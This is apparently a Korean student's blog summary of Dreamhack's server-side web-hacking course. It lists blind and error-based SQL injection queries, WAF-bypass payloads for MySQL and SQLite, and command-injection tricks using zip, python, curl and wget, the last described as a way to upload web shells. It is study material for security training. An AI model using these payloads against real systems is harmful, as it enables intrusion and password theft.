드림핵 웹해킹 로드맵 2 Server Side 완강 및 정리
드디어 웹해킹 로드맵 다 들었다ㅎㅎ 그리고 워게임 50개 풀었다고 나와서 굉장히 흐뭇하다.
각 문제마다 writeup을 따로 작성했기에 문제 설명은 다른 글에서 확인하길 바란다.
Blind SQL Injection
Figure 1. 이진 탐색을 통한 Blind SQL Injection 예시
mysql> select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
Figure 2. 문자 비트 변환 예시
mysql> SELECT bin(ord('A'));
+---------------+
| bin(ord('A')) |
+---------------+
| 1000001 |
+---------------+
Figure 3. 비트 연산을 통한 Blind SQL Injection 예시
mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)
Figure 3. Error based SQLI 공격 예시
SELECT extractvalue(1,concat(0x3a,version()));
extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출합니다. 만약, 두 번째 인자가 올바르지 않은 XPATH 식일 경우 올바르지 않은 XPATH 식이라는 에러 메시지와 함께 잘못된 식을 출력합니다. Figure4,5는 각각 올바른 사용 예시와 올바르지 않은 예시입니다.
Figure 4. extractvalue 올바른 예시
mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test |
+-----------------------------------------------+
1 row in set (0.00 sec)
Figure 5. extractvalue 잘못된 예시
mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식
Figure 6. extractvalue를 이용한 데이터베이스 정보 추출
mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'
Bypass WAF
Figure 1. 대소문자 검사 우회
UnIoN SeLecT 1,2,3
selECT SlEep(5)
Figure 2. 탐지 과정을 이용한 우회
UNunionION SELselectECT 1,2 --
# => UNION SELECT 1,2 --
Figure 3. 문자열 검사 우회
mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
Figure 4. 연산자 검사 우회
mysql> select 1 || 1;
^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있습니다.
Figure 5. 주석을 이용한 공백 문자 검사 우회
mysql> SELECT/**/'abc';
Figure 6. Back Quote을 이용한 공백 문자 검사 우회
mysql> select`username`,(password)from`users`WHERE`username`='admin';
Figure 7. MySQL 진법을 이용한 문자열 검사 우회
mysql> select 0x6162, 0b110000101100010;
Figure 8. MySQL 함수를 이용한 문자열 검사 우회
mysql> select char(0x61, 0x62);
mysql> select concat(char(0x61), char(0x62));
Figure 10. MySQL 개행을 이용한 공백 검사 우회
mysql> select
-> 1;
mysql> select/**/1;
Figure 12. MySQL 기능을 이용한 코드 실행
mysql> select 1 /*!union*/ select 2;
SQLite Bypass
Figure 23. SQLite 함수를 이용한 문자열 검사 우회
sqlite> select char(0x61);
/*
a
*/
Figure 24. SQLite 함수를 이용한 문자열 검사 우회 - 2
sqlite> select char(0x61)||char(0x62);
/*
ab
*/
Figure 25. SQLite 개행을 이용한 공백 검사 우회
sqlite> select
...> 1;
/*
1
*/
Figure 26. SQLite 주석을 이용한 공백 검사 우회
sqlite> select/**/1;
/*
1
*/
Command Injection Case
zip
zip 명령어는 압축 파일을 생성하거나 해제하는 명령어입니다. 해당 명령어의 옵션을 살펴보면, --unzip-command가 존재합니다. 이는 압축 파일을 테스트할 때 사용되는 옵션으로, 인자로 전달된 명령어를 실행합니다. Figure8은 해당 옵션에 “sh -c id”를 전달해 id 명령어를 실행한 결과입니다.
Figure 8. zip을 이용한 커맨드 인젝션
$ zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"
updating: etc/passwd (deflated 64%)
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
test of /tmp/test.zip OK
python
파이썬은 명령줄로 코드를 실행할 수 있는 -c 옵션이 존재합니다. Figure9와 같이 파이썬 코드를 실행해 시스템 명령어를 실행할 수 있습니다.
Figure 9. python을 이용한 커맨드 인젝션
$ python -c '__import__("os").system("id")' input.py
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
curl
curl은 전달된 URL에 접속하는 CLI 프로그램입니다. 앞서 다룬 zip과 파이썬과 같이 명령어를 실행할 수 없지만 -o 옵션을 통해 임의 경로에 파일을 저장할 수 있습니다. 이는 Command Injection Advanced - ll 강의에서 다뤘듯이 웹셸을 올리기 위한 방법으로 사용할 수 있습니다. Figure10은 “http://dreamhack.local”에서 반환하는 데이터를 “hello.txt” 파일로 저장하는 예시입니다.
Figure 10. curl을 이용한 임의 파일 쓰기
$ curl http://dreamhack.local -o /tmp/hello.txt
Hello !
$ cat /tmp/hello.txt
Hello !
wget
wget은 전달된 URL에 접속해 파일을 다운로드하는 용도로 사용되는 프로그램입니다. -O 옵션을 사용하면 임의 경로에 파일을 저장할 수 있습니다. Figure11은 “http://dreamhack.local”에서 반환하는 데이터를 “hello.txt” 파일로 저장하는 예시입니다.
Figure 11. wget을 이용한 임의 파일 쓰기
$ wget http://dreamhack.local -O hello.txt
--2020-05-20 14:28:56-- http://dreamhack.local/
Resolving dreamhack.local (dreamhack.local)... 127.0.0.1
Connecting to dreamhack.local (dreamhack.local)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 288 [text/html]
Saving to: ‘/tmp/hello.txt’
/tmp/hello.txt 100%[============================================>] 288 --.-KB/s in 0s
2020-05-20 14:28:56 (22.9 MB/s) - ‘/tmp/hello.txt’ saved [288/288]
$ cat /tmp/hello.txt
Hello !
'웹해킹 > 드림핵' 카테고리의 다른 글
드림핵 웹해킹 File Vulnerability Advanced for Linux Writeup (0) | 2023.03.03 |
---|---|
드림핵 웹해킹 Command Injection Advanced Writeup (0) | 2023.03.02 |
드림핵 웹해킹 sql injection bypass WAF Advanced Writeup (0) | 2023.02.28 |
드림핵 웹해킹 NoSQL-CouchDB Writeup (0) | 2023.02.28 |
드림핵 웹해킹 sql injection bypass WAF Writeup (0) | 2023.02.27 |